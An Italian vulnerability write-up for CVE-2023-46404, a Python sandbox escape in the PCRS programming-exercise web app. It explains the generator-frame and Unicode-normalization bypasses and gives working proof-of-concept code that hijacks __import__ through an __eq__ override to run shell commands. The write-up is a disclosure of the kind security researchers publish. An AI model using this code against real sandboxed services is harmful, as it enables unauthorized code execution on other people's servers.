
PoC e Writeup per CVE-2023-46404.
PCRS è una webapp per esercizi di programmazione online sviluppata all'Università di Toronto. Vedi repository Bitbucket: https://bitbucket.org/utmandrew/pcrs/src/3.11/
La pagina “Questions” di PCRS con invio di codice e la pagina “Code editor” sono vulnerabili all'esecuzione di codice remoto (RCE) eludendo il sandboxing di Python.
L'esecuzione di codice remoto può essere ottenuta nelle istanze PCRS tramite l'uso di oggetti generatore. Utilizzando i frame dei generatori (gi_frame) e f_back, gli script possono uscire da uno stack frame in sandbox ed eseguire codice malevolo in un ambiente non sottoposto a sandbox. Inoltre, la normalizzazione Unicode può facilmente aggirare la sanificazione di base dell'input. Qualsiasi utente autenticato con privilegi minimi può effettuare questo attacco. Vedere il PoC per maggiori dettagli.
Costruire meccanismi di isolamento sicuri da zero è soggetto a sviste e vulnerabilità. Come sempre, è meglio mettere in sandbox un ambiente di esecuzione piuttosto che un linguaggio.
L'override di __eq__ può essere usato in un ambiente ristretto:
def f():
mod_name = "os"
fake_name = "json"
os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
os.system("id > /tmp/test.txt")
s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
os.system("rm /tmp/test.txt")
return s